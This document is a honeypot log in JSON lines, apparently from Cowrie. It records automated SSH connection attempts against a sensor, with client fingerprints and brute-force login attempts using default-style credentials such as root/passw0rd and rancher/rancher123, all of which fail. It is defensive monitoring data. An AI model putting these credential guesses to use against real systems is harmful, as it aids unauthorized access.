{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:09:35.682029Z","src_ip":"43.160.200.19","session":"d2f99f15ebab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"testik","message":"login attempt [root/testik] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:09:36.691152Z","src_ip":"43.160.200.19","session":"d2f99f15ebab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:09:37.937660Z","src_ip":"43.160.200.19","session":"d2f99f15ebab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":48196,"dst_ip":"159.203.135.109","dst_port":22,"session":"c0c7f07e4a50","protocol":"ssh","message":"New connection: 160.187.174.22:48196 (159.203.135.109:22) [session: c0c7f07e4a50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:09:49.558055Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:09:49.562797Z","src_ip":"160.187.174.22","session":"c0c7f07e4a50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:09:49.799251Z","src_ip":"160.187.174.22","session":"c0c7f07e4a50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rancher","password":"rancher123","message":"login attempt [rancher/rancher123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:09:50.749954Z","src_ip":"160.187.174.22","session":"c0c7f07e4a50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:09:51.992442Z","src_ip":"160.187.174.22","session":"c0c7f07e4a50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.260493755340576,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:09:54.228445Z","src_ip":"170.64.224.25","session":"71b4c24d284d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":27.67808508872986,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:10:01.539209Z","src_ip":"170.64.224.25","session":"b16c69deb2db","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"143.20.185.207","src_port":53134,"dst_ip":"10.17.0.5","dst_port":22,"session":"4489344516bc","protocol":"ssh","message":"New connection: 143.20.185.207:53134 (10.17.0.5:22) [session: 4489344516bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:10:13.991371Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:10:13.997220Z","src_ip":"143.20.185.207","session":"4489344516bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:10:14.198300Z","src_ip":"143.20.185.207","session":"4489344516bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"XYZZVPS#8VCPU16GBAMD","message":"login attempt [root/XYZZVPS#8VCPU16GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:10:14.658263Z","src_ip":"143.20.185.207","session":"4489344516bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:10:15.897871Z","src_ip":"143.20.185.207","session":"4489344516bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.177.234.24","src_port":37808,"dst_ip":"10.17.0.5","dst_port":22,"session":"fee03187560f","protocol":"ssh","message":"New connection: 14.177.234.24:37808 (10.17.0.5:22) [session: fee03187560f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:10:17.003536Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:10:17.007732Z","src_ip":"14.177.234.24","session":"fee03187560f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:10:17.252132Z","src_ip":"14.177.234.24","session":"fee03187560f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":53616,"dst_ip":"159.203.135.109","dst_port":22,"session":"2348ffc121dc","protocol":"ssh","message":"New connection: 160.187.174.22:53616 (159.203.135.109:22) [session: 2348ffc121dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:10:17.916818Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:10:17.924322Z","src_ip":"160.187.174.22","session":"2348ffc121dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:10:18.173655Z","src_ip":"160.187.174.22","session":"2348ffc121dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password_2024","message":"login attempt [root/Password_2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:10:18.262670Z","src_ip":"14.177.234.24","session":"fee03187560f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passw0rd","message":"login attempt [root/passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:10:18.927295Z","src_ip":"160.187.174.22","session":"2348ffc121dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:10:19.509486Z","src_ip":"14.177.234.24","session":"fee03187560f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:10:20.182899Z","src_ip":"160.187.174.22","session":"2348ffc121dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.190.216.105","src_port":37388,"dst_ip":"10.17.0.5","dst_port":22,"session":"98cd74af4b26","protocol":"ssh","message":"New connection: 172.190.216.105:37388 (10.17.0.5:22) [session: 98cd74af4b26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:10:31.181167Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:10:31.542690Z","src_ip":"172.190.216.105","session":"98cd74af4b26","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:10:31.563025Z","src_ip":"172.190.216.105","session":"98cd74af4b26","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":38738,"dst_ip":"159.203.135.109","dst_port":22,"session":"c37886e99809","protocol":"ssh","message":"New connection: 160.187.174.22:38738 (159.203.135.109:22) [session: c37886e99809]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:10:46.226232Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:10:46.229997Z","src_ip":"160.187.174.22","session":"c37886e99809","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:10:46.463261Z","src_ip":"160.187.174.22","session":"c37886e99809","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rancher","password":"rancher","message":"login attempt [rancher/rancher] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:10:47.161870Z","src_ip":"160.187.174.22","session":"c37886e99809","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:10:48.395689Z","src_ip":"160.187.174.22","session":"c37886e99809","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.1.75.59","src_port":59262,"dst_ip":"159.203.135.109","dst_port":22,"session":"cf29b64e81da","protocol":"ssh","message":"New connection: 198.1.75.59:59262 (159.203.135.109:22) [session: cf29b64e81da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:10:51.236349Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:10:51.239628Z","src_ip":"198.1.75.59","session":"cf29b64e81da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:10:51.332204Z","src_ip":"198.1.75.59","session":"cf29b64e81da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"atomic123","message":"login attempt [root/atomic123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:10:51.601939Z","src_ip":"198.1.75.59","session":"cf29b64e81da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.190.113","src_port":53460,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce3d9dbee1ef","protocol":"ssh","message":"New connection: 209.99.190.113:53460 (10.17.0.5:22) [session: ce3d9dbee1ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:10:52.694873Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:10:52.699196Z","src_ip":"209.99.190.113","session":"ce3d9dbee1ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:10:52.799229Z","src_ip":"209.99.190.113","session":"ce3d9dbee1ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qqqqqq","message":"login attempt [root/qqqqqq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:10:53.217571Z","src_ip":"209.99.190.113","session":"ce3d9dbee1ef","protocol":"ssh"}
